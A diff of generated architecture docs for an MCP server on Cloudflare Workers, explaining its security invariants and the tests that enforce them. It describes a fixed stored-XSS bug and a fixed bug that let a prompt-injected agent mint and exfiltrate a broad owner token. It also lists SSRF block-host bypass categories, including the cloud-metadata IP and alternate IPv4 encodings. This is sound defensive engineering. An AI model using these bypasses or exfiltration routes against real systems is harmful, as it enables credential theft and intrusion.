`/o` but silently drifted at two siblings — `/p` publications omitted the `sandbox` directive (so owner-authored markup ran same-origin), and `/f` documents echoed the UPLOADER-controlled `Content-Type` inline with neither `nosniff` nor `sandbox`, turning a `text/html` upload into stored XSS / owner-session theft. The fix makes the convention a CONTRACT: one chokepoint, `inertHeaders(contentType)` (`routes/io.ts`), classifies every served MIME into safe-inline vs active (`ACTIVE_SERVED_MIME` → `Content-Security-Policy: sandbox; default-src 'none'`, forced `attachment` for the file store) and always sets `X-Content-Type-Options: nosniff`; `serveOutput`/`servePublication`/`serveDocument` all route through it. The `served-content inertness totality` oracle enumerates the served egress routes (driving each with active content) AND iterates the live `ACTIVE_SERVED_MIME` registry, asserting every served path returns inert headers — so a NEW served path that emits un-neutralized active content fails the build. The block-list of per-handler MIME handling that could fail open became one chokepoint with a totality over it. **Served-read gating** is the auth dual of inertness: where inertness governs HOW served content is emitted, this governs WHETHER a visibility-gated resource is served at all. Every served READ route that exposes a `_shared`/`_outputs`/`_publications`/`_documents` resource must refuse an unlisted/private resource to an unauthenticated caller — enforced by `denyUnlessBearerScope` (the bearer gate) plus the secretless-deploy 404 short-circuit. This was a CONVENTION ("any new served read route remembers to gate"), a 5-call-site block-list that fails open the moment one route forgets. The `served bearer-gating totality` oracle iterates the served gated-read route table and asserts each refuses an unlisted resource WITHOUT a token (and that the body/secret never rides a refusal) — so a new served read route that exposes a gated resource un-gated would serve the unlisted body and fail. Anchored `via guard`: it enumerates a fixed route-shape set, not a runtime-varying domain. **Operational protection of the public surfaces** (not security boundaries — cost/availability). Two layers, both fail-open so absence is harmless: (1) `rateLimit` (over the GA `ratelimit` bindings) caps the public WRITE surface per endpoint (`RL_INGRESS` on `/i` — each accepted write is a billable embed + Vectorize upsert serialized through the one HiveDO) and the public READ surfaces per client IP (`RL_PUBLIC` on `/o`/`/p`/`/marketplace`); (2) `cached` wraps the public GET reads in `caches.default`, so a hit returns from Cloudflare's per-colo edge WITHOUT running the Worker or touching the DO — only `Cache-Control: public` 200s are stored (private/unlisted/304 never), keyed by URL. Together they answer the single-DO contention ceiling: hot public reads offload to the edge, and what reaches the DO (writes, cache misses, cache-busting enumeration) is throttled. Early `Content-Length` caps on the buffered text bodies (`/i`, `/upload`) bound Worker memory before the transform DSL runs, mirroring the up-front cap the document upload already had. _works when:_ - router.ts exists at this node @@ -168,7 +168,7 @@ _works when:_ - chart-svg.ts imports ./chart-spec - dev-seed.ts exists at this node -_files:_ `block-palette.ts`, `chart-spec.ts`, `chart-svg.ts`, `constants.ts`, `dev-seed.ts`, `escape.ts`, `format-palette.ts`, `host.ts`, `log.ts`, `sql.ts`, `text.d.ts`, `view-palette.ts` +_files:_ `block-palette.ts`, `chart-spec.ts`, `chart-svg.ts`, `constants.ts`, `dev-seed.ts`, `env.d.ts`, `escape.ts`, `format-palette.ts`, `host.ts`, `log.ts`, `sql.ts`, `text.d.ts`, `view-palette.ts` ## Bindings @@ -241,6 +241,7 @@ mnemion-js/ │ ├─ chart-svg.ts │ ├─ constants.ts │ ├─ dev-seed.ts +│ ├─ env.d.ts │ ├─ escape.ts │ ├─ format-palette.ts │ ├─ host.ts diff --git a/mnemion-js/docs/coherence/_graph.html b/mnemion-js/docs/coherence/_graph.html index ef1a7f3..54d6b54 100644 --- a/mnemion-js/docs/coherence/_graph.html +++ b/mnemion-js/docs/coherence/_graph.html @@ -38,9 +38,9 @@ .why .wl { font: 600 .62rem system-ui; text-transform: uppercase; letter-spacing: .06em; color: #c79b2a; margin-right: .5rem; } .why p { display: inline; margin: 0; color: var(--dim); } -

mnemion-js

8 components · 58 files · 492 symbols
-
Mnemionentryclaimed
Cloudflare Worker entry: an OAuth-wrapped MCP server whose one declarative route table is the whole HTTP surface.
why

The worker entry keeps the entire HTTP surface as one scannable declarative route table (method, pattern, auth gate, handler per line) so the system's shape is graspable from the declarations alone, per the "code as schematic" principle. OAuthProvider wraps the worker to own the OAuth 2.1 / DCR / token flow and intercept /mcp, /token, /register before dispatch, so the rest of the code never re-implements auth plumbing.

works when
src/index.ts exists at root fast
wrangler.toml exists at root fast
README.md exists at root fast
src/index.ts imports @cloudflare/workers-oauth-provider fast
vite.fragment.tsvite.fragment.ts
imports vite
vite.preview.tsvite.preview.ts
imports vite
vite.web.tsvite.web.ts
imports vite, @vitejs/plugin-react
worker-configuration.d.tsworker-configuration.d.ts

eslint-disable

Pipelineinterface
__RPC_STUB_BRANDconst

Branded types for identifying WorkerEntrypoint/DurableObject/Targets. TypeScript uses structural typing meaning anything with the same shape as type T is a T. For the classes exported by cloudflare:workers we want nominal typing (i.e. we only want to accept WorkerEntrypoint from cloudflare:workers, not any other class with the same shape)

Stubabletype

Types that can be used through Stubs

Stubtype
Providertype

Base type for all other types providing RPC-like interfaces. Rewrites all methods/properties to be MethodOrPropertys, while preserving callable types. Reserved names (e.g. stub method names like dup()) and symbols can't be accessed over RPC.

waitUntilfunction
withEnvfunction
withExportsfunction
envconst
exportsconst
cacheconst
tracingconst
NonRetryableErrorclass

NonRetryableError allows for a user to throw a fatal error that makes a Workflow instance fail immediately without triggering a retry

index.tssrc/index.ts
imports @cloudflare/workers-oauth-provider
store.tsweb/src/store.ts
imports react
Entrytype
ensure()method
rebuild()method
load()method

Replace a pattern's entries (initial load or coarse refetch).

has()method
patchEntry()method

Optimistically merge a patch into one entry (e.g. a drag changes status). The server's WS echo arrives moments later and overwrites with the truth.

applyDelta()method

Apply a single granular change from the live socket.

storeconst
usePatternEntriesfunction

Ordered entries for a pattern — re-renders only when the set/order changes.

useEntryfunction

A single entry — re-renders only when THAT entry changes.

Hiveclaimed
The single per-user Durable Object that owns all SQLite data and funnels every agent write through one kernel-enforced chokepoint.
why

HiveDO is the single Durable Object that owns the SQLite store; every write funnels through its mutate/batchMutate/processInput/consumeUpload chokepoints precisely so the kernel-write boundary is enforced in one place instead of re-derived per call site. policy.ts is the dependency-free leaf source of truth for "which patterns agents can write, through which path, what gate fires" — unclassified kernel patterns fail CLOSED (System → denied) so a new pattern can never silently become agent-writable, and kernel/prime/ingress gates all derive from it so the boundary cannot drift between layers.

Kernel COLUMNS get the same single-source treatment as kernel patterns. kernel-columns.ts is the dependency-free SSOT for the seven auto-provided columns; every "the kernel columns" or named-slice need (the data engine's create-exclude/facet-skip sets, the schema display, the history-diff ignore set) is DERIVED from it by filter, never re-listed, so a slice can't drift from the source. The facet/kernel-column collision invariant rides on that: a user-proposed facet may not be named after a kernel column it would COLLIDE with, and the reservation at the propose_change chokepoint (validateFacets, reached by BOTH create_pattern and add_facet) is FACET_RESERVED_COLUMNS — DERIVED as the kernel columns MINUS the user-overridable ones (USER_OVERRIDABLE_KERNEL_COLUMNS), never hand-listed. The single overridable column is version: create_pattern's apply skips the kernel default when a user declares a version facet, so a pattern can carry user-meaningful version semantics (e.g. semver) — that override is intentional, and both the reservation and the skip read the SAME USER_OVERRIDABLE_KERNEL_COLUMNS declaration so they can't disagree. The historical bug was a hand-narrowed subset that wrongly omitted created_by/updated_by (which are NOT overridable — a same-named facet is a duplicate-column DDL error → must be reserved); over-correcting to reserve version too then broke the user-version feature. Splitting "overridable" out as its own declaration fixes both directions: reserved ∪ overridable = KERNEL_COLUMNS. The facet-kernel-collision totality oracle iterates FACET_RESERVED_COLUMNS (each rejected on both paths) AND USER_OVERRIDABLE_KERNEL_COLUMNS (each allowed) AND asserts the partition is exact — so neither under-reserving nor over-reserving can be reintroduced without failing the suite.

The data-is-destiny no-hybrid invariant makes the design doctrine ("store truth once, derive its consequences") emergent from the schema rather than a prose principle agents may interpret away. The doctrine is semantic in general — "is this value derivable?" can't be decided from a schema — but it has a DECIDABLE core: a pattern must not STORE an aggregate of rows it also RETAINS. findStoredDerivedAggregates (schema.ts) checks exactly that over the live _fields schema, firing only when BOTH halves are present (a facet named like an aggregate AND a child pattern whose rows reference this one, so the aggregate is COUNT/SUM over retained rows). It stays silent on the legitimate fork a convergence experiment surfaced — a bare counter with no retained instances is the stored truth, not a denormalization — because that has no retained source to derive from; the divergence there was a doctrine-permitted upstream modeling choice (keep the events or not), not a violation. Boot warns (a deliberate materialized aggregate is a valid, reviewed override — advisory, never throws); the data-is-destiny no-hybrid totality oracle iterates the live schema and makes it a hard build ratchet, and the meta-oracle (coherence) validates that the oracle iterates a live domain rather than a hand-list — so the doctrine is enforced, derived, and proven-complete, the same anatomy as the security boundaries.

The credential-mint gating invariant is the consent dual of egress totality. A pattern with a secret column (in SENSITIVE_COLUMNS) mints a born-hashed BEARER on every create — so creating a row hands out a portable, exfiltratable credential, and that create MUST be consent-gated: either System (never agent-writable) or Consent with a create-gating condition. The patch_only consent condition is provably wrong for such a pattern — it declares create benign while create is the dangerous op — and that was a real shipped bug: _access_tokens was patch_only, so an injected agent could mint a broad token (a full owner login credential, redeemable at /auth/verify) in one un-round-tripped mutate and exfiltrate it. Fixed by the on_broad_token condition: minting a BROAD/portable scope (, or a whole-class read/write key — isBroadTokenScope) round-trips like every other standing grant (_members/_federation_hosts/_shared), while narrow target-bound (upload/document) and inert (register, gated by the /invite passkey approval) scopes stay benign so the frequent legit flows aren't taxed; the kernel hook also allow-lists the scope vocabulary so a weird scope can't be minted. The findUngatedCredentialMints oracle DERIVES the rule from SENSITIVE_COLUMNS × KERNEL_WRITE_POLICY (no new declaration) and iterates the live secret-column set — so re-classifying a credential-minter as patch_only/Open, or adding a new secret-minting pattern with an ungated create, fails the build. The misclassification is unexpressible.

Born-hashed secrets is the storage dual: credential-mint gating governs WHEN a bearer may be minted; this governs HOW it's stored. mintSecrets is generic over SENSITIVE_COLUMNS (it reads secretColumn(pattern)) and runs on every engine write path (mutate/batchMutate/internalCreate), so a secret-classed column is born-hashed by construction: the preimage is system-generated, returned ONCE in the create response, and only its SHA-256 digest lands in the column, the audit log, and the /ws delta — a read (owner or otherwise) yields a digest, never a usable bearer. The born-hashed-secret totality oracle iterates the live secret-column set and verifies the property end-to-end (a created row persists a digest, a caller-supplied raw is never stored), so a new secret column that isn't actually born-hashed — a missed wiring, a write path that bypassed mintSecrets, a regression — fails the build. The structural enforcement (generic mintSecrets keyed on the registry) makes the property automatic for any declared secret column; the oracle proves it stayed true.

Immutable-field enforcement is the registry dual of the create-time hooks: where the ON_CREATE hooks decide what a kernel row may be BORN as, the IMMUTABLE / IMMUTABLE_AFTER_CREATE registries (kernel.ts) decide what it may never BECOME. They are the defense-in-depth behind the consent model: approved_at/consumed_at are IMMUTABLE so an agent can't self-approve its own invite or replay a single-use token; a token's scope/member/constraints/token and an ingress endpoint's target_pattern are IMMUTABLE_AFTER_CREATE so a row that passed the create-time validation can't be silently repointed to a stronger capability by a later update; _members.label is frozen-after-create (NOT IMMUTABLE, which would reject it at birth) because it's the stable handle passkeys/tokens/attribution reference. Enforcement is at ONE chokepoint with two faces: applyKernelRules scans top-level keys (the create/update/unarchive path) and immutableFieldError covers the patch path (which edits one facet by name and so sidesteps the key scan). The IMMUTABLE-registry totality oracle iterates the live IMMUTABLE ∪ IMMUTABLE_AFTER_CREATE registries and asserts every declared field is rejected — by BOTH chokepoints, with the registry's own message — on the op it freezes (and that no IMMUTABLE_AFTER_CREATE field is also IMMUTABLE, which would collapse "set once" into "never settable"). So adding an immutable field that some path forgets to enforce, or a registry entry whose message never fires, fails the build — the same anatomy as the other boundaries, applied to mutation-in-place. (scopeMatches, the token-authz :-boundary prefix grammar these freezes protect, is pinned by its own matrix test — a fixed-grammar correctness property, not a live-domain totality, so it is verified but not a boundary.)

Instance-identity host closes the last unmanaged crossing the trust atlas surfaced (public-egress → owner-trusted): the host every generated capability URL is built from. The invariant — a configured WORKER_HOST is AUTHORITATIVE and the inbound Host is IGNORED, so an attacker who plants a spoofed Host on an unauthenticated request (e.g. a /ws upgrade) can't poison an upload_url/page_url/og_image handed to the owner — was enforced by currentHost but proven only by CONVENTION (no oracle; the convention detector and the atlas both flagged currentHost as tier-3). The decision is now the pure resolveHost (shared/core/host.ts): configured-wins-else-observed-else-localhost, with the placeholder treated as unconfigured (a deploy that skipped npm run setup). currentHost delegates the whole thing, so the instance-identity host resolution test — which asserts a real WORKER_HOST beats EVERY spoofed inbound host, and the observed host is the local-dev fallback only — IS the boundary. Anchored via guard (a pure source property); the atlas reads currentHost as tier-1 via anchoredBy: resolveHost. With this the manifold has zero tier-3 security crossings.

SQL-identifier quoting is the structural enshrinement of an injection boundary that was a CONVENTION: the SQL-identifier crossing (a raw string becoming a table/column token in SQL) was guarded by "validate the identifier, then interpolate "${x}"" at scattered sites — validation and quoting as SEPARATE steps a new site can forget. quoteIdent (shared/core/sql.ts) fuses them into ONE transition map: it validates against IDENTIFIER_RE and returns the double-quoted identifier, throwing on any injection-bearing name (quotes, spaces, ;, leading digit) — so an identifier that skipped the upstream semantic check still cannot carry injection through. The agent-facing query engine (data.ts: query/filter/sort/aggregate/group_by/search, ~20 sites) routes every SQL identifier through it; the upstream semantic checks (facetMeta/isValidColumn/patternExists) stay as the primary gate, with quoteIdent as fail-closed defense beneath. The quoteIdent — grammar test pins the grammar (valid names incl. kernel columns quote; injection throws); anchored via guard as a fixed source grammar. This moved the SQL-identifier boundary from tier-3 (convention) to tier-1 (enshrined) in the trust atlas. (DDL identifier interpolation in schema.ts/evolution.ts is the tracked follow-up; the coarse injection-lint ratchet still covers those + the HTML egress sinks until they're enshrined too.)

Token-scope-grammar is the classifier dual of credential-mint gating: that boundary decides a credential-minting create must be consent-gated; this decides WHICH token scopes are "broad" enough to require the round-trip. The consent gate (on_broad_token) round-trips a portable/standing scope and lets a narrow target-bound scope mint freely — so the partition isBroadTokenScope draws over the scope grammar IS the security boundary. It drifted: a bare parts.length >= 3 length cutoff classified read:entry:<pattern> (3 parts) as narrow, but scopeMatches prefix-grants it every read:entry:<pattern>:<id> — i.e. a pattern-WIDE standing read key that minted with NO consent round-trip, an exfil credential a prompt-injected agent could mint and carry off. The fix classifies by the RESOURCE GRAMMAR, not a length: a scope is narrow only when it reaches its kind's LEAF depth (entry addresses a leaf at depth 4 — pattern:id; output/publication/document/input at depth 3 — a single path/id), so read:entry:<pattern> falls short of its leaf and is broad. The broad-token scope-grammar totality oracle enumerates every grammar shape (leaf forms → narrow, class/wildcard keys → broad, target-bound/inert → benign, malformed → fail-closed-broad) AND asserts the verdict is CONSISTENT with scopeMatches (a narrow scope grants at most one served leaf, never a class) AND reconciles the shapes against the served kinds io.ts actually mints — so a new served resource kind can't leave the partition incomplete. It is anchored via guard (not via test): like scopeMatches, it is a fixed-grammar classifier property, not a totality over a runtime-varying domain — via guard is the honest verb for a source-property oracle.

The agent-facing WRITE surface reaches the engine over two transports — the interactive MCP mutate tool (entities/Session/session.ts) and the browser-authenticated /api/mutate. The gating DECISIONS those transports share — which gate a single op must clear (mutateGate: patch-reject vs. consent round-trip vs. pass), which op may not ride inside a batch (findGatedBatchOp), and how loosely-typed tool input normalizes (normalizeMutateData/isSingleOpData) — live in mutate-gate.ts as PURE derivations of policy.ts, not inline imperative branches in the MCP handler. That removes the real drift vector (an /api+RPC test passing while the MCP Zod/consent layer silently breaks): the decision has one tested home. The interactive consent round-trip MECHANICS (checkAndArmConsent + re-issue) stay in session.ts because only the MCP path can satisfy them; mutate-gate.ts decides WHETHER the round-trip fires, never how. /api stays owner-implicit (a logged-in human IS the consent) and does not consult the consent decision.

Reads share the SAME boundary, on the same flag. DataContext.trusted is required and gates kernel access symmetrically: an untrusted context (!trusted) may neither write a kernel pattern nor read one. The trust decision is a CAPABILITY, not a per-call-site convention: HiveDO exposes two named constructors over a trust-agnostic ctxFieldsownerDataCtx (the ONLY trusted: true) and servedDataCtx (trusted: false) — and there is no trust parameter to dial at a call site. Served/untrusted reads (public page chart/metric, OG card, publication source, /o/entry) AND untrusted writes (ingress, upload) go through servedDataCtx, where the data.ts engine refuses any kernel pattern — so a serve/ingress sink physically cannot read or write _access_tokens/_members/etc. ALL served public reads — the public-page + OG-card render orchestration AND getSharedEntry/resolvePublication/resolveOutput/getInputVisibility — live in one module (served.ts), handed a narrow ServedContext that exposes ONLY the served reader (servedQuery) for user-pattern data plus a small set of bound kernel-CONFIG lookups (each returning ONE specific answer — a _shared visibility, a _publications/_outputs/_inputs config row, supersession ids, facet metadata) — never db, never a trusted context, no way to construct one — so every served read's user-pattern access IS the kernel-refusing chokepoint and the kernel-config reads stay confined to single-answer hands (the same shape federation.ts gets for its allow-list). The DO keeps thin RPC stubs (the RPC contract io.ts calls) over those functions. That made the old per-block isKernelPattern guard in renderBlockHtml provably redundant (a kernel-named block just reads back empty through servedQuery); it was deleted, leaving one chokepoint instead of a guard to forget per block type. The same redundancy retired getSharedEntry's old hand-rolled isKernelPattern guard: its entry read now goes through servedQuery (which refuses kernel patterns at the engine AND binds the id, so no SQL-identifier injection), exactly as the render path's per-block guard was retired — the patternExists/Number.isInteger(id) checks survive only as a clean early not-found, never as the security gate. Because trust is fixed by the constructor (and the engine flag is required, no default), a NEW serve path can't silently inherit kernel access; it fails CLOSED. context-capability totality guards that the split can't rot back into a trust-defaulting factory. This replaced a block-list of scattered per-sink isKernelPattern checks that failed open. The read totality is the served-entry-point enumeration in security.test.ts, the analogue of policy.test.ts for writes. Instance identity is configuration, not request data: currentHost() is authoritative on WORKER_HOST and IGNORES the inbound Host, so an attacker cannot poison a capability URL (upload_url/page_url/og_image) by sending a spoofed Host on an unauthenticated request (e.g. a /ws upgrade).

Egress sensitivity is the read/serialization dual of the write registry, and it is composed CORE + per-feature through the SAME discipline as write policy. The bug this invariant exists to kill was a FALSE oracle: the feature-security barrel (entities/features/security.ts) used to compose write policy from one hand-list and sensitive columns from a SECOND hand-list, and the second silently omitted a feature (pages) — and unlike the write side (guarded by verifyWritePolicyTotality walking the live KERNEL_TABLES), the egress side had NO totality oracle. A forked feature that declared a redact/secret column but forgot the barrel line got silently no seal/audit/export redaction. The fix makes the DOMAIN the live feature set: a single FEATURE_SECURITY registry holds one {name, writePolicy?, sensitiveColumns?} entry per feature, and BOTH FEATURE_WRITE_POLICY and FEATURE_SENSITIVE_COLUMNS are DERIVED by iterating it — there is no second hand-list, so a feature's sensitive columns can no longer be dropped independently of its write policy. verifyEgressTotality (the boundary's oracle, at the composed SENSITIVE_COLUMNS) asserts every column ANY feature declares survives into the effective registry — a real totality over the declared domain, the analogue of verifyWritePolicyTotality for outward emission. The pre-existing findUnclassifiedSensitiveColumns is honestly demoted to a complementary NAME heuristic (it only catches secret-NAMED columns with no policy at all; it cannot see a sensitive column with an innocuous name), not masquerading as full totality.

Cross-hive (foreign-URI) resolution lives in its own module (federation.ts), the one place that sends THIS hive's access token (?token=Authorization: Bearer) to another origin. Its token-send is CO-LOCATED with the allow-list consent check in a single function (federatedResolve) precisely so the approved host and the contacted host can never drift apart: a token is attached only to a request whose host is BOTH not isBlockedFederationHost (SSRF block) AND isHostAllowed (the _federation_hosts consent allow-list), and that pair is re-validated on the INITIAL request AND on EVERY redirect hop, in lockstep with the fetch loop. Splitting the gate from the fetch — across modules or call sites — would let a future edit move one without the other; here they move as a unit. The DO hands the module a NARROW FederationContext — only the bound allow-list lookup (isHostAllowed, wrapping _federation_hosts, never db) + errorJson — so federation cannot read anything else; resolve stays on the DO and decides local vs. federated before dispatching here. This is the security analysis's "condition #2".

SSRF block-host coverage is the totality dual of that SSRF guard. isBlockedFederationHost must refuse every class of non-public target — loopback/private/CGNAT/link-local IPv4 (in every inet_aton encoding — dotted-decimal, octal, hex, integer), the IPv6 loopback/ULA/link-local/mapped/NAT64/6to4 forms, and the .localhost/.local/.internal/.lan suffixes — and a dropped category is a silent SSRF reopening (the cloud-metadata IP 169.254.169.254 is the canonical target). The guard's correctness was a CONVENTION ("remember to cover every encoding") with no completeness check; the SSRF block-host totality oracle makes it a CONTRACT — a category→example table iterated to assert each class is blocked (and a public dual is allowed), so a new bypass class fails the build by name. Anchored via guard: like the scope grammar, it enumerates a fixed category set (a source property), not a runtime-varying domain.

works when
hive.ts exists at this node fast
hive.ts imports cloudflare:workers fast
hive.ts imports ./data fast
policy.ts exists at this node fast
kernel-columns.ts exists at this node fast
data.ts imports ./kernel-columns fast
evolution.ts imports ./kernel-columns fast
schema.ts imports ./kernel-columns fast
hive.ts imports ./kernel-columns fast
data.ts exists at this node fast
mutate-gate.ts exists at this node fast
mutate-gate.ts imports ./policy fast
prime.ts imports ./policy fast
boundary "kernel write boundary" at writeClass via test "write-policy totality" fast
boundary "kernel read+write capability" at query via guard "context-capability totality" fast
boundary "egress-sensitivity totality" at SENSITIVE_COLUMNS via test "egress-sensitivity totality" fast
boundary "pattern-effects totality" at PATTERN_EFFECTS via test "pattern-effects totality" fast
boundary "facet/kernel-column collision" at FACET_RESERVED_COLUMNS via test "facet-kernel-collision totality" fast
boundary "data-is-destiny no-hybrid" at findStoredDerivedAggregates via test "data-is-destiny no-hybrid totality" fast
boundary "credential-mint gating" at findUngatedCredentialMints via test "credential-mint gating totality" fast
boundary "born-hashed secrets" at SENSITIVE_COLUMNS via test "born-hashed-secret totality" fast
boundary "immutable-field enforcement" at applyKernelRules via test "IMMUTABLE-registry totality" fast
boundary "token-scope-grammar" at isBroadTokenScope via guard "broad-token scope-grammar totality" fast
boundary "SSRF block-host coverage" at isBlockedFederationHost via guard "SSRF block-host totality" fast
boundary "sql-identifier quoting" at quoteIdent via guard "quoteIdent — grammar" fast
boundary "instance-identity host" at resolveHost via guard "instance-identity host resolution" fast
effects.ts exists at this node fast
effects.ts imports ../features fast
effects.ts imports ../features/compose fast
documents.ts exists at this node fast
hive.ts imports ./documents fast
served.ts exists at this node fast
hive.ts imports ./served fast
federation.ts exists at this node fast
hive.ts imports ./federation fast
reports.ts exists at this node fast
hive.ts imports ./reports fast
depends on VECTORIZE, AI
data.tsentities/Hive/data.ts

Data engine: query, mutate, search

Pure functions that take a DataContext. HiveDO keeps thin RPC wrappers that add broadcast and transaction concerns.

why

The query/mutate/search engine is pure functions over an injected DataContext so the same logic serves the MCP path and the browser /api path without duplication. executeMutate is the one chokepoint every engine write crosses: it strips forged created_by/updated_by, refuses System patterns, refuses any kernel target on an untrusted (ingress) write, and runs the kernel rules — so the boundary holds for callers entering below the MCP consent layer. patch honors field immutability here (not only in the kernel hooks) because applyKernelRules scans top-level keys and a patched facet rides in data.facet.

DataContextinterface
queryfunction
searchfunction
documents.tsentities/Hive/documents.ts

documents.ts — document-store lifecycle (R2-backed blobs), evicted from HiveDO.

Receives a narrow DocumentsContext, never this and never a trusted executeMutate. Its writes are SYSTEM bookkeeping on _documents' IMMUTABLE columns (r2_key / size / content_type / stored_at / extracted_text / extraction_status) — the columns agents cannot set through mutate — so they stay narrow, specific UPDATEs rather than a new general write chokepoint. The DO keeps thin RPC wrappers; this holds the logic.

consumeDocumentUploadfunction

Record a completed upload: bind the R2 key + metadata to the document entry and burn the single-use token.

recordExtractionfunction

Record extracted text + status, then re-embed so the text joins prime recall.

extractDocumentfunction

Schedule async PDF text extraction: mark pending, read the blob from R2, extract, record. Returns immediately; the work outlives the RPC via schedule().

resolveDocumentfunction

Resolve a document for serving. Returns found:false until bytes exist.

effects.tsentities/Hive/effects.ts

effects.ts — declarative pattern effects, the SIDE-EFFECTING half of the kernel.

kernel.ts holds the PURE pre-mutation hooks (ON_CREATE/ON_WRITE): they validate and transform DATA before insert, no I/O. This file is their symmetric impure twin: orchestration that runs AROUND a commit — mint a sub-token, schedule an R2 delete, build a capability URL, run a task. Keyed by pattern, scannable as a table, so adding a side-effecting pattern is one entry instead of another if (patternName === …) branch in mutate().

An effect receives an EffectContext — the DO's NARROWED hands — never this, and never a raw trusted executeMutate (that would be a second uncontrolled write chokepoint). The one sanctioned internal write is internalCreate.

Two phases, mirroring the kernel hooks but with a side-effect contract: before — runs PRE-commit; may read; may abort by throwing (reserve for effects that MUST succeed for the write to be valid). after — runs POST-commit; best-effort / annotating. A failed URL or token DEGRADES the result (matches today), it never unwinds the committed row.

EffectContextinterface
PatternEffectinterface
PATTERN_EFFECTSconst

PATTERN_EFFECTS is no longer a hand-written literal — it is COMPOSED from the per-feature manifests in entities/features/. Each feature declares its post-mutate effects keyed by pattern; composeEffects folds them into this flat map (and throws on a two-feature collision over the same pattern). The bodies for _documents / _pages / _system_tasks now live in their feature manifests.

This is the extensibility seam: adding a side-effecting pattern means writing a feature manifest + one barrel line — not editing this file. The shape contract (EffectContext, PatternEffect above) stays here as the leaf the manifests import.

evolution.tsentities/Hive/evolution.ts

Schema evolution engine

Each change type is one row in CHANGE_TYPES: validate, preview, apply. The full evolution surface is visible by scanning this table. proposeChange and applyChange are generic dispatchers.

why

Schema evolution is a declaration table (CHANGE_TYPES: validate/preview/apply per change type) so the full surface is scannable and adding a change type is one row, not a procedural chain. Changes are proposed then applied in two steps so the agent and the human can preview the index delta before committing; apply fires resource-update notifications. create_pattern reserves the _ namespace here so a user pattern can never collide with the kernel namespace that isKernelPattern keys on.

CHANGE_TYPE_NAMESconst

The change types an agent may propose — the single source the MCP tool's change.type enum derives from (session.ts), so a new change type is exposed through MCP automatically and the protocol contract can't drift from the engine's CHANGE_TYPES table.

applyChangefunction
revertChangefunction
federation.tsentities/Hive/federation.ts

federation.ts — cross-hive (foreign-URI) resolution, evicted from HiveDO.

This is the security-critical seam: it is the only place that sends THIS hive's access token (?token= → Authorization: Bearer) to another origin. The entire point of keeping it as one module is CO-LOCATION — the allow-list consent check and the token-bearing fetch live side-by-side in federatedResolve, so "the host the human approved" and "the host we actually contacted" can never drift apart. A token is attached only to a request whose host is BOTH (a) not isBlockedFederationHost(host) (SSRF block) AND (b) ctx.isHostAllowed(host) (consent allow-list) — and that pair is re-checked on the INITIAL request AND on EVERY redirect hop, in lockstep with the fetch loop. Splitting the gate from the fetch would let a future edit move one without the other; here they move as a unit.

FederationContext is deliberately narrow: a bound isHostAllowed(host) (which wraps the _federation_hosts lookup — the module never sees db) plus errorJson. isBlockedFederationHost / normalizeHost are pure and imported directly.

federatedResolvefunction

Resolve a foreign-hive URI (mnemion://other.hive.dev/entry/axioms/7) by fetching https://<host>/o/<path>, optionally carrying ?token= as a Bearer. The allow-list/SSRF gate and the token-bearing fetch are co-located here so an approved host and a contacted host can never diverge.

hive.tsentities/Hive/hive.ts

HiveDO — the single per-user Durable Object that owns all SQLite data.

why

Every agent write funnels through hive's mutate/batchMutate/processInput/consumeUpload methods so the kernel-write boundary is enforced at one chokepoint instead of re-derived per call site. It stays a thin shell over the pure-function domain modules (data, kernel, policy, prime, evolution, schema) with db/context injected — but the per-pattern lifecycle reactions (R2 blob delete on archive, _system_tasks dispatch, _documents upload-token mint) remain hardcoded patternName === "_x" branches here: a consciously-retained imperative seam, since lifting them into the registry was judged a larger refactor with no security payoff and they fail loudly in tests on rename.

imports cloudflare:workers
HiveDOclass
db()method
migrateTokenHashes()method

One-time cleanup of secrets that leaked BEFORE born-hashing: hash any legacy plaintext token still in _access_tokens (raw = 32 hex, digest = 64), and scrub any raw token the old post-insert path left in the _mutation_log audit trail. Idempotent; a near-no-op after the first cold start.

mintSecrets()method

Born-hashed secrets: for a CREATE of a pattern with a secret column (SENSITIVE_COLUMNS), generate the preimage in app code and set the column to its DIGEST before the row is inserted — so the audit trigger, the broadcast, and any read only ever see the hash. Returns the raw preimage for the one-time response (the only place it exists). Mutates data in place; returns null for non-secret patterns / non-create ops.

instanceUrl()method

A public URL on this instance — the one place upload_url / page_url / og_image hand-build https://{host}/{path} from the live host.

reportsCtx()method

=== Read-orchestration reports (delegated to reports.ts) ===

Recent activity, the maintenance nag, the stale-review surface, and the system-doc / instance-doc readers live in reports.ts: pure owner-context read+format builders, no writes and no security boundary. The DO injects a narrow ReportsContext (db + bound currentHost/patternClass/errorJson) and keeps thin RPC wrappers with identical signatures.

evoCtx()method
getPendingChange()method

Peek at a pending change's spec without applying it — lets the SessionDO decide whether the change needs a consent round-trip (e.g. set_sharing to a non-private visibility, which publishes an entry over HTTP).

ctxFields()method

Shared DataContext fields, trust-AGNOSTIC. The trust flag is deliberately NOT a parameter here — it is fixed by the named constructor a caller chooses (ownerDataCtx / servedDataCtx), so trust can never be dialed at a call site — there is no trust boolean to misremember.

ownerDataCtx()method

TRUSTED context — full kernel read + write. The owner/agent path (MCP session, browser session, internal writes). The ONLY constructor that sets trusted: true; if you are handed this you can reach kernel data, so it is never given to orchestration that serves untrusted surfaces.

servedDataCtx()method

UNTRUSTED context for SERVED surfaces (public page, /o, /p, OG, federation) AND untrusted WRITES (ingress, upload). trusted: false is the SAME flag the engine uses to refuse any kernel pattern, symmetric across read and write — so a serve/ingress path physically cannot reach _access_tokens/_members/etc. Orchestration handed only this constructor cannot forge a trusted write: the boundary is a capability, not a per-call-site convention.

effectCtx()method

The DO's narrowed hands handed to a pattern effect (effects.ts) — capabilities, never this and never a raw trusted executeMutate. The one sanctioned trusted write is internalCreate.

servedQuery()method

query() for a served/untrusted surface — refuses kernel patterns at the engine. Every public/OG/publication read goes through this, so the kernel read-boundary lives at one chokepoint instead of a check per serve sink.

patternClass()method

A pattern's class: "dataset" (structured records) or "knowledge" (default).

query()method
mutate()method
docsCtx()method

Narrow capabilities handed to the documents module (documents.ts) — db + R2 env + broadcast/embed/schedule, never this.

webCtx()method
resolve()method
fedCtx()method

The federation module's narrowed hands: the consent allow-list (bound over the _federation_hosts lookup, never db) + errorJson.

search()method
getEntryHistory()method

Revision history for one entry, oldest→newest: the audit log scoped to (pattern, id), with each UPDATE diffed (changed facet: from → to) and version/timestamp churn filtered out. The create is the first revision.

getEntryLabel()method

The display label for one entry — what a reference to it should show (deriveLabel: title-ish facet, else #id). Used by reference-format chips.

servedCtx()method

The served module's narrowed hands: servedQuery (the untrusted reader that refuses kernel patterns at the engine) + bound kernel-config lookups, each scoped to one answer. Never db, never a trusted ctx.

runTask()method
